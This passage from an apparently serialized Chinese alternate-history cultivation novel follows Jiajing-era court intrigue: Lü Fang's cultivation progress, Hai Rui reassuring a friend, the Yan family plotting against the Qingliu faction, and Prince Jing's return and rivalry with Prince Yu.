吕芳心里清楚,主子心中装着的是整个天下,铸就一方不世的仙朝。 而他、陆炳二人,是主子的心腹,他们是主子的帮手,绝对不能给主子拖后腿。 其实这些时日,他基本上已经是住在玉熙宫了。 主子修炼的时候,他就在后院门口处打地铺,为的就是靠近门口那丝丝缕缕的灵气。 可以说他除了必要的睡眠,基本上都是在修炼,打坐中度过,一遍又一遍的打通着穴窍。 “嗯,”嘉靖点了点头,道:“半年引气入体,希望你年底的时候可以突破练气一层。” “奴婢定不负主子期望。”吕芳恭敬道。 “去后园修炼吧,”嘉靖挥手扔给了吕芳一颗青色灵果,然后闭上了双眼。 “谢主子。”吕芳躬身一礼,然后转身快步朝着后院而去。 相比于吕芳,陆炳并不能时时刻刻呆在宫里,毕竟他身上还肩负着组建‘大明仙武卫’的重任,自然是要忙碌奔波起来。 …… “老爷回来了!” 仆人看到海瑞,立刻回身冲着里头高喊,不一会,王用汲、海瑞的母亲和妻子就都撑着伞快步围了上来。 “母亲,我没事,不用挂怀。”海瑞眼看着昏暗的院子里,老母亲满是关切的眼神,赶紧将手中的雨伞,递给一旁的仆人,然后躬身作揖,宽慰道:“让母亲担心了,还望母亲恕罪。” “没事,没事就好!” 见海瑞没事后,老太太也是狠狠松了一口气。 看了眼身旁关切的儿媳,知道海瑞可能跟王用汲有话要说,拍了拍儿媳的手背,示意回头再说后,便拉着儿媳妇转身在仆人的搀扶下离开。 “进去说。”海瑞抬了抬手,示意去书房。 “刚峰,如何?”一进门,王用汲立刻就开口询问了起来,“皇上他,可是要重用你?” 没错,这也是王用汲一直在海府待到深夜都不曾离开的原因。 他是真怕海瑞那耿直的性子,冲撞了皇上,到时候这大明朝,可就真没人保他了。 看着满脸紧张神色的王用汲,海瑞突然笑了笑,拍了拍王用汲的肩膀,道: “放心吧,皇上对我很是器重!” 海瑞知道,皇帝修仙之事不能轻易透露,当然,他也绝不会向任何人透露半个字就是了。 而且一旦未经允许告诉他人,那么就是害了这个人。 皇上既然能相隔数千里在京师视听天下,嗯,自己想的果然没错,当时皇上就在头顶看着自己写那份奏疏。 那想必,整个大明朝,上上下下的一举一动,只要皇上愿意,都会在他的视野之内。 所谓,举头三尺有神明,不外如是!而这大明朝唯一的仙神,就是皇上! “呼!”听到海瑞这么说,王用汲顿时狠狠松了一口气,整个人像是卸下了重担一样,道:“如此,我也就彻底放心了。” 说着,他又苦笑,道:“刚峰兄,在严党和清流眼里,你就是一把不受控制的剑。” “若是你能得陛下青睐,可千万不可做出伤主的事情来,否则……” 说到这里,王用汲不再言语,但海瑞却是听出了他话中的意思。 “放心好了,皇恩浩荡,我海瑞绝不会辜负皇上,我会用自己这条命,来报答!” 看着这副模样的海瑞,王用汲眼底浮现出一抹惊讶之色,而后欣慰的点点头。 刚峰兄啊,你总算是知道变通了! 嗯,然而他不知道的是,自己完全误会了海瑞的意思,他以为海瑞从此要做皇上手中的剑,皇上让做什么,他就做什么。 毕竟帝王之道,可从来都不是简单的以忠奸好坏论臣民御下,而自己这位好友,处事又非要把世事公道,分個忠奸明白。 可在朝为官,身居高位,总会身不由己,又岂能真的独善其身? 若他一直如此,恐怕难免会触怒皇上,那时可比得罪清流严党要严重的多了。 好在,刚峰似乎学会了变通,妥协了! 这一刻,王用汲心里是欣慰的,若是海瑞能当个皇上手中的剑,至少在不久后的危局中,能做到不用担心任何人的算计! 因为他的身后,站着的是皇上! 然而,王用汲不知道的是,他理解的海瑞报皇恩,跟海瑞想的报皇恩,完全不一样。 “刚峰兄,时辰不早了,我也叨扰了一天了,就此告辞了。”放宽心的王用汲浑身轻松的对着海瑞拱手告辞。 “嗯,明受路上小心。”海瑞也郑重拱手道别。 他知道这位好友一天没离开,留在自己家里,除了要得知确切的自己无虞消息外,还有要帮助自己稳住母亲和妻子的心。 目送王用汲离开后,海瑞凝视着灯火昏暗的院落里,朦胧的雨雾,驻足许久后转身回房。 …… 嘉靖四十年,七月初三。 距离上次御前议政,已经过去了一个月的时间。 玉熙宫,灵田小院内。 嘉靖看着盘腿坐在草地上,闭目打坐的吕芳,静静等待着,在他身后,陆炳则是羡慕的看着吕芳这老货,吕芳用半年时间引气入体。 而自己,上个月才开始修行,等到年底吕芳这老货突破到练气一层,真正成为一个修仙者的时候,自己估计才堪堪引气入体。 一个月的时间,吕芳果然没有让他失望,进入到了引气入体的最后关头。 随着‘引气诀’的运转,吕芳周身,那些灵田小院里的灵气,也好像是被什么东西吸住了一般,开始朝着他汹涌而来。 “哗!”突然,只见吕芳周身灵气激荡,灵气席卷,吹拂的几人衣袍激烈鼓荡。 “成了。”拥有练气五层的修为,嘉靖自然是一眼就看出了吕芳此刻的修为情况。 “呼!”吕芳轻吐出一口浊气,而后平息体内开始按照固定行功路线运转的灵气,吕芳睁开眼,脸上露出笑容,立刻起身跪在嘉靖面前。 “奴婢没有让主子失望,已成功引气入体,接下来奴婢便可以着手准备突破练气一层!” 吕芳跪在地上,激动道。 “不错!”看着吕芳成功引气入体,嘉靖脸上也不由浮现出一抹笑容,“起来吧。” 至此,他手下算是有了一个切切实实的修仙者了。 虽然还不是练气期的修士,但至少是入门了。 在大明,半年内引气入体,以吕芳的年龄来说,只能说不算慢,放在修仙界可能是正常。 “这老货的本命,估计不会落下乘。”看着吕芳,嘉靖心中想道。 “恭喜吕公公了。”陆炳有些酸酸的开口道贺。 明明应该是同一起跑线的,结果这老货足足领先了自己半年时间。 “多谢文孚了。”吕芳拱手道谢。 嗯,陆炳越是发酸,他心里就越是舒爽。 “文孚,你进宫可是有其他事情?”看着暗斗的二人,嘉靖也不点破,转身走向玉熙宫。 “回皇上,臣已经找到了三千个年龄四到十岁的孩子,打算先进行一次淘汰……” 听完陆炳关于‘仙武卫’的选拔,嘉靖点了点头,道:“仙武卫之事你看着办。” “但最迟不能超过三年!”说着,嘉靖给陆炳下了一个期限。 “是!”陆炳神情一肃,抱拳道:“臣定不会让陛下失望!” “还有什么事,一并说了。”嘉靖说着,踏上了道台,走进了精舍。 几日前,他修炼时,练气五层的境界,终于有了松动,他打算继续修炼。 “是!”陆炳点了点头,然后开口道: “首先是北境,唐顺之和王崇古还有海瑞已经赴任,严党率先出手,揪着一个私自售卖军田的军户,大同那边的官员已经着手办理。” “一些军户被人为煽动,不曾镇压,不过似乎是唐顺之有意为之,一切尽在掌控中……” 说着,陆炳又看了眼不发一言的嘉靖,然后又道:“此外就是,据景王殿下身边的锦衣卫汇报,殿下明日便能回京。” “景王,明日就能回京了吗?”想到自己的四儿子朱载圳,嘉靖微微点头,“希望他们经历过此事后,能有所成长。” 听到这话,吕芳跟陆炳都低下了脑袋。 他们都知道,北境之战,清流和严党,都不过会是两个皇子的磨刀石。 之后,主子或许就会让二位殿下,接触修仙了。 因为“北境之战”结束,也意味着,大明将迎来一次大整顿,也将迎来蜕变重生! 一个蜕变重生的大明…它接下来的路,是仙朝路! “……” 第九十二章 丧气的小阁老,狠毒严嵩!景王归京 严府,书房里。 “嘭!”暴躁的小阁老严世蕃一拍桌子,拿着手上的飞鸽传书,怒声道:“我早就说了,这个唐顺之不可靠,怎么着?” “军户闹事,他竟然下令不准弹压!” “现在您还有什么话说?”浑身上下,都仿佛炸了毛的严世蕃愤慨道:“屯兵兴农,这是国策,边境那些兵痞,竟然敢闹事!” “简直是反了天了!” 说着,严世蕃开始在房间里踱步,有些气急败坏,道:“我就不明白了?” “他们的田地被那些士绅大族用各种手段非法兼并,我们这是在帮他们,他们倒好,竟然还带头闹事,一群满脑子肌肉的蠢货!” “一帮刁民兵痞,穷光蛋,活该他们被压迫,活该吃不上饱饭……” 严嵩看了眼气急败坏的儿子,拿起桌上的信笺,温吞道:“军田荒废,军户不再种田,这里头涉及的事情太过复杂……” “我当然知道!”严世蕃见老爹始终一副慢吞吞的模样,手背连连拍打着手心。 “可是没时间了啊爹,今年,满打满算,也就五个月时间不到了!” “明年二三月份,边境的军田就要恢复耕种,就之前我们家和清流身上搜刮来的那点钱,户部都是在精打细算的过日子呢。” “一旦过了月份,那可就又要拖一年,到时候我们怎么交代?” “若是再让那些刁民闹下去,哼哼……”严世蕃说着,冷笑道:“咱们干脆也别提什么‘殊死一战’了,直接躺平整了等死吧!” “严世蕃!”见儿子越说越大逆不道,严嵩低声呵斥,最后又轻叹一声,道:“这就是清流一贯的手段,挟万民大义以令天下。” “这个时候,你越是野蛮粗暴的镇压,就越会起反效果,这就是我们跟清流的第一战!” “可是爹,清流他们能耗得起,我们耗不起,您可别忘了,国策可是担在咱们脑袋上的,若是失败了,我们可就没用了!” “上次我们还能交钱保命,那是皇上他觉着我们有用,若是这次失败……” “这次失败了,届时天下已定,皇上快刀斩乱麻,清理吏治,为后继之君铺路,那时被清洗的势力,您觉得会是谁?” “我宁愿以血腥手段镇压一批人,也要将国策横推下去,只要扳倒裕王,一切都值!” “大不了鱼死网破,把边境搅个底朝天,到时候怪罪下来,老子陪着他们一起死!” “严世蕃,”严嵩怒喝,“我们不是在斗气,你以为闹大了皇上会清算谁?你别忘了,全天下人都知道,我们父子是坏人!” “闹大了,那裕王真就胜利了,皇上会直接杀了我们全家,以安顺民怨……” “这点道理,你到现在还不明白…吗!!!” 说着,严嵩眸子瞪的老大,质问声拉得老长,同时拳头一下一下的捶打着桌面。 “……我!”看着激动的老爹,严世蕃顿时一怔,而后丧气的坐在一边。 他当然知道,自己刚才是说气话了。 正如老爹说的,真鱼死网破,那严家绝对是被拿来以谢天下的最好由头! “军田制崩坏,接连导致卫所制崩溃,土地兼并,只是一个原因。”严嵩放缓语气,又开始慢吞吞,不紧不慢的用自己的节奏开口。 “一些天灾就不说了,这是不可避免的。” “但像是边境和蒙古的冲突,军需的消耗与日俱增。” “军队又频繁的调动,四处灭火,因此也就让那些军户,难以稳定从事耕种,自然也就影响了军田的持续耕种和管理。” “还有那些军屯官员的贪腐,挪用军田收入。” “以及朝廷为因对境内的一些叛乱,和东南沿海的抗倭,施行募兵……募兵制,这本身就是对军户和军田制的一种削弱。” “以上种种原因,都让军户没了生存希望,他们不得不另谋生路。” “这個时候,在地方官员的配合下,士绅大族可以轻松的兼并土地。” “不仅如此,他们还可以利用边境商人,为这些走投无路的军户提供丰厚的收入利润,让他们看到比耕田更好的生活和期许……” “这个时候,朝廷突然让他们回去种田,若是换了你,你觉得他们会同意吗?” “若说没有我们严家插手,屯兵兴农的国策,落在徐阶等人头上,那肯定是能顺利实施下去,可问题的关键就是,清流不会允许!” “确切的说,清流正因为知道国策的重要,所以他们跟我们的想法是一样的。” “那就是主要目标,就是搬倒我们,为此牺牲一些军民又如何?” “只要让景王殿下彻底失势,那之后剩下的事,就是他们自己内部的事情了。” “世蕃……”严嵩说着,看着眉头紧锁的严世蕃,语气也愈发缓和,他自然知道严世蕃刚跟清流开战就吃了败仗,心里憋闷。 一些道理,只要说开了,他是能明白的。 “你要明白,不是说我们站在皇上一边,为朝廷好,就是正义!” “对于整个北境来说,我们严家就是来断人财路的……” “站在利益对立面的人,才是坏人!” “这个时候,你若是再以朝廷政令为由,强行镇压,那正是清流想看到的。” “皇上让景王殿下回京,跟裕王共同协理内阁,未尝不是在观虎斗,一旦闹大了,突破了底线规则,那我们就是出局了。” “而这,也是我让应德坐镇大同的原因,他跟汝贞一样,懂大局,会审时度势,有自己的考量,目光也足够长远。” “这场战争,已经开始了,接下来我们必须要以温和的手段来小心应对。” “可是爹,唐顺之这么做,可不是听了咱家的命令,他是自己想做这么做啊……”冷静下来后,严世蕃有些丧气,道: “北境那边,我们的势力太薄弱了。” “怎么跟王崇古,还有那些士绅大族斗?” “这账,我真的算不过来了……”说着,严世蕃撇过头去,生着闷气。 跟清流开的第一战,就让他感受到了挫败,仿佛有一种陷入泥潭不可自拔的感觉。 这让以往嚣张惯了的小阁老,感到束手束脚,很是不爽利,当然还有不安。 毕竟他们严家的经营都在东南。 那边不说胡宗宪了,浙江布政使,按察使,都是他们的人,可以说一手遮天了。 但北境,完全是近半年的调兵遣将,根基太薄弱了,根本没有能扛鼎的大官。 “呵,”看着垂头丧气,像是一只斗败公鸡的儿子,严嵩突然宠溺的哼笑了起来。 然后,严嵩又像是个老小孩一样,推了推儿子搭在桌上的胳膊,却被嫌弃的躲开。 “世蕃啊,”严嵩轻笑一声,放下手里的信笺,幽幽道:“兵法云:敌已明,友未定,引友杀敌,不自出力,以‘损’推演。” “嗯?”听到这话,正生闷气的严世蕃一怔,抬起头,目光对上老爹那含笑的眸子,略一思索,道:“借刀杀人?可是借谁的……” 说着,严世蕃身体猛的一怔,继而一拍大腿,道:“海瑞!” “怎么把他给忘了,我只记得这是把不受控制的剑,倒是忘了他也可以为任何人所用!” 经过老爹点拨后,气急败坏的小阁老顿时拨云见日,只觉得一片豁然开朗。 “我们是忠臣,海瑞也是忠臣,土地兼并,士绅大族勾结官员,这些可都是实打实的事实,我们大可把事捅到海瑞跟前去。” “以海瑞的性子,他不可能不去查!” “真把把事闹大了也是海瑞干的,到时候我们或许还能推波助澜一番…爹,高,儿子佩服!”严世蕃看向老爹,满脸的惊喜。 “我们严家代表的是皇上,那自然可以借那天子剑一用,清流想用海瑞对付我们?” “那我们偏偏要跟海瑞站在一起,你给北境大大小小的官员传下话去,”严嵩说着,语气中隐隐透露着一股凶?之气,道: “全力配合海瑞!另外……” 说着,严嵩抽出桌上的一张纸,递给严世蕃,只见上面写着一个大大的“晋”字。 “爹?”严世蕃有些不解的看向老爹。 “晋商。”严嵩只是平静的说出了两个字,而后道:“这些军户不种田之后,大多数都是通过‘互市’贸易,赖以生存。” “北境,最大的商贾团伙,就是这些晋商。” “士绅大族与晋商之间彼此相安无事,相辅相成,要想办法让他们乱起来,等海瑞启动之后,先让士绅大族自顾不暇……” “之后,再打压晋商,让地方官员多给士绅大族一些好处与偏袒,再分化派别,支持晋商与士绅大族,总之就是要让他们乱。” “北境对于我们来说,就是一块铁板,必须要先让他们内部乱起来,把水搅浑!” “欲破敌之坚,必先乱其内,用内间以间之,则敌自溃矣!” “之后,我们就可以下场,浑水摸鱼,等到商业受阻,屯兵兴农的好处就会得以放大……” 听到这里,严世蕃眼前一亮! 不过想到这么做的后果,他看向老爹严嵩的眼神中,也不免浮现出一抹害怕之色。 老爹,真是越老越狠毒了,照这计划,等屯兵兴农在北境占据一席之地后,那他们这一系的官员,可就会被一次清算,估计会死很多人。 不过,不狠不行! 为了景王殿下,为了严家的未来,死个把人算什么?清流都能枉顾百姓性命,我们严家只是牺牲个把本就不是好人的官员而已。 嗯,我们严家才是最善良的! …… 翌日,晴。 京师,正阳门外。 早早的便有一群人列队站定。 城门下,大红色的地毯铺就,两侧则是一群王府侍卫和太监,还有一些王府婢女。 一袭大红色蟒袍的裕王负手而立。 而在他身后,清流和严党还有六部官员,京城内一些大大小小官员簇拥在各自派系一旁。 “爹,”人群中,身着绯红官袍的小阁老严世蕃,小声对着身旁的老爹严嵩道: “您有没有发现,自从协理内阁后,裕王越发的不同了。” 严嵩抬了抬眼皮,朝着裕王的背影瞟了一眼,又收回目光,没有说话。 不过严世蕃却依旧在老爹严嵩耳边念叨着。 “这一个月来,内阁议事,都是由裕王主持,朝中上上下下,都对他赞不绝口…不仅如此,这位殿下以往都是躲在徐阶等人羽翼之下,近些日子,可以说是锋芒毕露了……” “而且,自从皇上废除二龙不相见的规矩外,他往玉熙宫跑的次数愈发勤快了,听说每回都是笑呵呵的来来去去。” “昨日竟求了皇上,要求携内阁六部大臣,迎接景王回京,皇上竟然还同意了……” “同意就同意吧,他是以兄长和同僚的名义迎接,倒也没什么逾礼之处……” “可这一套做派太投机了一些,清流一派全力支持他,而我们来迎接也是必然的。” “现在好了,人人穿官服,大摆阵仗,弄得全是他一个人的功劳……” “兄宜友爱弟宜恭,和蔼之家喜气浓,朝廷百官上下一心…”严嵩声音温吞道:“这是太子储君,才应该有的气度和做派……” “裕王殿下这么做,就是要给景王殿下一个下马威。同时,也是宣告天下人,自己以兄长的名义,召集内阁六部官员迎接弟弟……” 严嵩说话间,看向了徐阶,后者像是感应到了一般,回头报以一个微笑。 “储君之名有了,爱护幼弟的名声也有了,那帮文人士子,清流之家,必然早已准备。” “爹,要不要做点什么?要让他传下去,岂不是坐实了他太子名头?”严世蕃眉头皱着。 “不妨事,皇上同意此举,倒是让我越发的确定,二龙相争就是在挑选最合适的那个。” “当年景王就藩闹得太大,今日此举,倒是可以攻破兄弟阋墙,父子不合的传闻。” “也好让天下人都知道,我大明朝君臣上下一心,兄友弟恭,父慈子孝……” “对皇上来说,都不过是顺手为之罢了。” “倒也不必在意,至于你担心的全天下宣传,清流还不至于那么疯,他们懂适可而止。” “真正的决战结果没出来前,这些都不重要,因为最终的决策权在皇上手里。” “来了!” 这时,有人喊了一声,严嵩跟严世蕃也抬头看去。 然后就见远远的一队车马缓缓行来,周围还有随行的护卫,猎猎随风的景王大旗。 景王朱载圳,归京! “……” 第九十三章 兄友弟恭,父慈子孝 车马停下。 在场众人也都安静了下来。 一道道视线,凝视着马车上下来,那道略显消瘦的青年身影。 一袭明黄色尊贵蟒袍,气质雍容。 这青年不是别人,正是景王,朱载圳。 相比于裕王模样气质的忠厚,沉闷,朱载圳的面容气质,多了几分儒雅雍容。 举手投足之间,都尽显大气。 “终于回来了,”朱载圳站在马车外,望着京城的城墙,一双狭长的丹凤眼中,有感慨之色浮现而出,“这一次,我不会再离开!” “主子,”王府小太监恭敬的上前去扶景王扶下马车,“裕王殿下他们都来了。” 听到小太监的声音,朱载圳迅速收敛情绪,而后平静的面容上顿时露出笑容,在小太监的搀扶下,快步走向裕王,朗声笑道:“三哥!” 一声“三哥”,饱含了太多的情绪。 “四弟!”裕王双眸微微泛红,含着泪,上前抓住景王的臂膀,连连上下打量,叹道: “一别许久,让你受苦了!” 听到这话,景王笑着抹了抹泪,“有劳兄长挂怀了,这次回来……”说着,景王双手抓着裕王的胳膊,认真道:“我再也不走了!” “好,不走好,不走好,”裕王连连欣慰的点头,看着景王,认真而满是欣慰的道:“那就永远留下来,陪父皇!” “臣等,拜见景王殿下,恭迎景王殿下回京。”就在这时,内阁首辅严嵩,在严世蕃的搀扶下,一步踏出,躬身行礼。 “恭迎景王殿下回京!”随着严世蕃开口,顿时严党一系的官员乌泱泱行礼。 一旁的清流等人见此,自然不会在这个时候失了礼数,不管心中有多不满都要忍着,随着内阁六部大臣见礼,一时间场面热闹异常。 “本王何德何能,竟劳烦诸位大臣迎接,本王实在是汗颜……”景王还开口说着,就在这时,高拱却快先一步,高声道: “殿下有所不知,裕王殿下早在得知幼弟要回京,便先去宫里,求了皇上。裕王殿下体谅幼弟此前遭遇,所以便要给殿下最高的欢迎!” “一切,都是裕王殿下仁德啊……”清流一派也开始附和起来。 听到这话景王哑然,而后面上露出笑容,看向裕王,道:“有劳三哥了。” “兄弟之间,不必说这些,”裕王抓着景王手臂的同时,转身道:“四弟,我们也赶紧入宫吧,父皇还在等着,莫让等急了。” “好!”景王笑着点头。 一时间,二王并肩走向轿子,端的一副兄友弟恭的场面。 群臣也是其乐融融的跟在二位殿下身后,不过却是“清浊分明”各怀鬼胎。 一个月来,北境那边,清流和严党已经交手了,而且第一回合严党可以说是背的一塌涂地,但这些都不过是开胃小菜。 现在景王回京,局势会越发的复杂。 迎上景王后,群臣则是各自散去,而裕王则是带着景王来到了玉熙宫见嘉靖。 “二位殿下,快进去吧,主子知道景王回来,也是心里欢喜的紧呢。”吕芳看着景王,脸上也是堆满了笑容。 “父皇他,果然还是更喜欢四弟……”裕王听到这话,眼底闪过一抹复杂之色。 “吕公公,许久不见,身子骨可还好?”景王进门的同时,笑着对吕芳问道。 “有劳殿下挂怀,奴婢沾了主子的光,这把老骨头,自是活的健朗。”吕芳低头笑着。 “父皇身边有你伺候,本王也能放心的多。”景王微微颔首,对吕芳说的什么沾光却不以为意,只当是吕芳在说过年话。 从玉熙宫大殿,到偏殿,短短几步路的距离,但在吕芳眼中,这二位殿下的区别,就显得非常的明显了。 裕王面容严肃,行走稳重。 一旁的景王则是完全不同,龙行虎步,一袭明黄色蟒袍,举手投足间尽显大方。 尤其是脸上温和爽朗的笑容,头一眼让人看了,就会让人直观的感受到皇者气度。 至于裕王,则是太严肃了,或许他自己都没有发现,近些日子他始终都是一副沉重的模样。 这是多年小心谨慎养成的习惯,即便他如今知道去争,开始崭露锋芒,也无法更改。 “主子,二位殿下都到了。”吕芳来到精舍下,小声说道。 闻言,正在打坐的嘉靖睁开双眼看去,果然就看到了站在下方的裕王和景王。 只见此时,景王满脸激动之色,一双眸子里,瞳孔打颤,泪珠开始汇聚。 “父,父皇……”景王哽咽着唤了一声,而后直接跪在了地上,脑袋杵在地上,大声道:“儿臣,拜见父皇,愿父皇圣寿无疆!” 不过这一次,见景王跪下,裕王却是没有跟着跪下,而是露出笑容对嘉靖拱手,道: “父皇,儿臣路上还说呢,四弟见了父皇指定是要哭鼻子,他还嘴硬,果然!” 一举一动间,裕王都将自己置身于一个兄长位置,而将景王看做是一个不懂事的幼弟。 而听到这话的景王,眼底却闪过一抹异色,打趣?路上他可没跟裕王说这些。 一路上,裕王都在向他,向所有人,展露他身为兄长的气度,包容,对幼弟的宠爱。 他自然知道裕王做这一切的目的是什么,始终不过是为了压他一头,让所有人都知道,他是兄,而自己是弟,长幼有序! 此刻,在父皇面前,他依旧扮演着兄长的角色,将自己置于小孩子的位置上。 不过他不能反驳,不论这话真假,都是裕王在说父子、兄弟相逢时的喜庆话。 这个时候反驳,那就是不给兄长面子,让兄长难堪,若是以往他倒是不在乎,可近来京城的动向他都了若指掌,更知道父皇并不厌恶裕王。 这次回来,就是跟裕王争的,而最终的裁定权,都在父皇手中,他必须要小心应对。 一瞬间的想法闪过,景王则是抬起头,咧嘴笑了笑,看向嘉靖,道:“让父皇见笑了。” 两個儿子的明争暗斗,裕王的强势强调兄长的意图,景王利用自己喜欢他这个优势从容不应对的模样,嘉靖尽收眼底,却不当回事。 这两个儿子太嫩了,远远达不到合格储君的的标准,而且日后大明仙朝之路,还需要他们来辅佐,多给一些锻炼也是应该的。 “起来吧。”嘉靖笑着抬了抬手,这时吕芳也搬来了两个凳子。 接下来自然就是一番父慈子孝的嘘寒问暖,聊聊家常,再说说这次调景王回来的缘由。 父子间一直聊到傍晚。 嘉靖自然也让朱载圳也喝下了一碗灵粥,为的就是给这小子补补身体。 拥有前世记忆,对于景王朱载圳的死,只说是暴病而亡,对于景王的记载也不多。 当然也有一些人猜测,景王的死可能存在了太多的政治因素,因为他跟自己太像了。 当时已经是胜利的清流一方,是绝对不会允许大明朝再出现一个自己。 不过这些都是只言片语的猜测而已。 从玉熙宫出来的时候,已是傍晚时分。 不同的是,景王手中多了一副嘉靖赐下的画卷。 “三哥,听说不久前父皇也赐了你一副画卷?”离开玉熙宫后,景王跟裕王并肩而行,一边说着,一边竟然就这么开始打开画卷。 “四弟,父皇是让你回去再看。”裕王深深看了眼景王,说道。 “呵,”景王轻笑一声,撇头看向裕王,道:“三哥你就是太拘泥小节了。对于父皇来说,出了玉熙宫,就已经是回去了。” 说着,便继续开始自顾自的拆开画卷。 见此,裕王张了张嘴,而后笑着指了指景王,以示无奈,指了指拆开一半的画卷笑道:“父皇对你我都是一视同仁的。” 说实话,裕王还是很好奇,父皇给景王的画卷里,会题什么诗。 他的诗,预示的是父皇对自己的解释,也让自己明白,父皇从未厌恶自己,那四弟呢? “哗啦!”这时,景王已经打开了画卷,画卷上一只老虎回头用脑袋抵着小老虎,虽是狰狞的百兽之王,却让人有种父慈子孝的感觉。 而随着画卷的打开,二人也都驻足停下,但彼此的神情,却是完全不同。 “虎为百兽尊,罔敢触其怒。” “惟有父子情,一步一回顾?”念完最后一句,景王脸上露出笑容,举着画对裕王道: “三哥果然了解父皇啊,竟然真的跟三哥挂在王府大殿的那幅画一模一样啊……” 说话间,撇头看向裕王瞬间收敛神情的脸,眼底透露着毫不掩饰的嘲弄之色。 裕王宽大袖袍里的双手微微攥紧。他感觉自己之前感动的早了。 父爱原来是可以切割的吗! 罢了,累了,我原本就没有奢求过这种东西,我才没有奢求! 很快,裕王又恢复了平静,不管怎么说,父皇确实让他协理内阁了,这些时日他也确实感受得到,父皇并不是真的厌恶自己。 天家本就无亲,身为皇族,他可太懂了。此刻他真正在意的是,景王对父皇的了解。 显然,他是早就猜到两幅画会一模一样了,此举也不过是为了打击自己而已。 但他想的太简单了,之前的自己不过是在隐忍,而现在父皇大限将至,他是不会隐忍的。 这一次,他将孤注一掷,将景王彻底扳倒。 想及此处,裕王也懒得再跟景王虚以为蛇,直接开口道:“四弟,为兄就不送你回王府了,明日文华殿内阁议政,切记不要迟到。” 说完,裕王转身大踏步离开。 “果然如严世蕃所说,他真的不一样了。”望着裕王离去的背影,景王眸光中的嘲弄之色敛去,这时伺候的王府太监迎了上来。 “王爷?严阁老和小阁老他们想要拜见王爷,不知是否一见?” “知道了,”景王直接将手中的画卷扔给太监,道:“叫严嵩父子来王府议事。” 说完,抬脚大步而去,入了轿子。 “……” 第九十四章 那个海瑞整天神神叨叨,求仙拜神?严党和清流都懵了 景王在京城也是有府邸的。 此时,景王府,大殿之中,景王、严嵩和严世蕃三人,分主次入座。 “严阁老,本王这次能从德安回京,严阁老父子,功不可没!”景王对着严嵩父子抱拳。 “殿下言重了,这些不过是老臣的本分,”严嵩抬了抬眼皮,慢吞吞道:“此前,皇上为二位殿下,都找好了师父……” “老臣负责教授殿下,徐阶等人负责教授裕王殿下。” “虽未曾言明,但陛下也曾让老臣,多多教授殿下,因此支持殿下,都是老臣的本分。” 一旁的严世蕃也是连连点头。 “呵,”景王轻笑一声,道:“不管怎么说,本王还是要感谢严阁老才是。” 说着,景王语气一肃,看向严嵩道:“不知严阁老如何看待父皇招我回京一事?” “老臣猜测有两个可能,”严嵩抬起两根手指,道:“要么皇上在大限将至之前,在两位殿下之中,挑选一个最终的胜利者做后继之君。” “要么,就是要用景王殿下给裕王殿下当磨刀石,不过……”说着,严嵩拿起桌上那副嘉靖给景王的画卷,道: “如今看来第二种是不可能了。” “两幅一模一样的画卷,说明陛下对两位殿下的父子情,是一样的。” “同时,也是在变相的告诉殿下,”说话间,严嵩抬起昏昏老眼,语气严肃道:“他不会因为喜爱殿下,就将皇位给殿下。” 随着严嵩话音落下,景王目光一沉。 “严阁老所言,与我不谋而合,拿到画卷的时候,我就已经有所猜测了!”说话间,景王的拳头微微攥紧。 他又想到了今日在玉熙宫外跟裕王之间发生的一幕。 看似他在嘲讽裕王,看似他在言语上占据了些上风,可心里的不忿只有他知道。 因为他看到的比裕王要多! 裕王或许会局限于父皇此举有一瞬的失意,但他不一样! 他看到的是,父皇在无言的告诉他,不会因为偏爱,就将皇位给自己。 一直以来父皇的偏爱,严党的支持,都让他对那个位子很是渴望。但是父皇却是在挑选储君之事上,选择了最保守的方式。 失望吗?当然失望! 从来他都是被偏爱的那一个,可是这一次,不是了! “殿下,”严嵩看出景王神色间的阴郁之色,用眼神制止准备开口的严世蕃,语气缓缓道:“父母之爱子则为之计深远。” “其实皇上对殿下,已经是偏爱了,”说责护,严嵩缓了缓,用委婉的语气道:“自古储君之位,都是立长不立贤。” “因为立长,可以杜绝很多隐患,断绝其他皇子的念想,但若是立贤的话,那么所有皇子都会证明自己才是最贤的那一个。” “最终的结果就是王朝分崩离析。如今,皇上在他最后的时间里,采用这种大胆的方法册立储君,难道不是对殿下的一种偏爱吗?” 说到这里的时候,严嵩的语气渐渐加重。 严嵩不论什么时候,都能拎得清。当然,说的是他永远牢记,自己是皇帝手里的恶犬。 即便此刻在景王府,他跟景王绑定在了一起,但他的言辞间依旧是在维护嘉靖,始终视嘉靖为唯一的主人,护主是本分! 说这番话的意思很明显,就是在告诫景王,不要过分的恃宠而骄,皇上对你已经很偏爱了。 “而且,不立长而立贤,这说明陛下已经完全不在乎史书对他看法了。” “他要做的就是为大明挑选一個合适的继承人,一旦挑选出合格储君,陛下他会用最极端的方式,为后继之君扫清障碍!” “难道,这还不算是一份沉重的父爱吗!”说到最后,严嵩压低着声发出低呵。 “呼,”听到严嵩的话,景王轻呼一口气,沉声道:“严阁老所言,本王受教了。” “本王自然明白,不过是心里有落差和不甘罢了,他只不过是比本王早出生那么几天。” “明明父皇最疼爱的人是我……”说着,景王摆摆手,道:“罢了,不说这个了。” “严阁老,说说北境的情况和接下来的部署吧。” 景王到底还是明白了过来。 眼下说这些根本没有意义,重要的是既然已经确定了,父皇是要在离开前挑选储君,那就别想有别的方法胜利,唯有一战! 景王府,众人在谈论的时候,裕王府这边,同样也没闲着。 裕王回来后,就将那幅被他挂在大殿上的画卷摘了下来。 他原以为这是一份独属于自己的,父皇隐藏极深的一份父爱,哪知道这份爱如此之轻,还带均摊的。 徐阶、高拱、张居正、赵贞吉,还有此刻的裕王府詹士王用汲都看着上方心情不佳的裕王。 “殿下,恭喜了!”这时,徐阶却是放下手里的画卷,对着裕王露出笑脸。 一旁的张居正等人,听完裕王的讲述后,也都不过是稍一思索,便看到了潜在含义。 “哦?”裕王抬眼看向徐阶。 “殿下是当局者迷了,”徐阶嘴角含笑,道:“这份图画,还有另外一个含义,不过却是对景王说的……” 然后,徐阶就将自己的看法说了一遍,竟是与严嵩所言,大致无二。 “徐阁老的意思是说,父皇其实是在告诫老四,他不会因为偏爱,就给他皇位?这其实是父皇在警告他,或者说是在乎我的感受?” 裕王眼底浮现出一抹亮光。若是如此的话,那岂不是说,父皇还是爱着自己的? 嗯,至少自己跟老四得到的一样多! 毕竟之前老四可是独享父皇的爱的,自己可是没有分到一星半点。 现在,在皇位的选择上,父皇能警告老四,让彼此公平一战,嗯,父皇还爱我! 看着惊喜的裕王,徐阶等人对视一眼,都不由心底一叹,裕王殿下实在可怜。 不过想到裕王的遭遇后又都能理解。 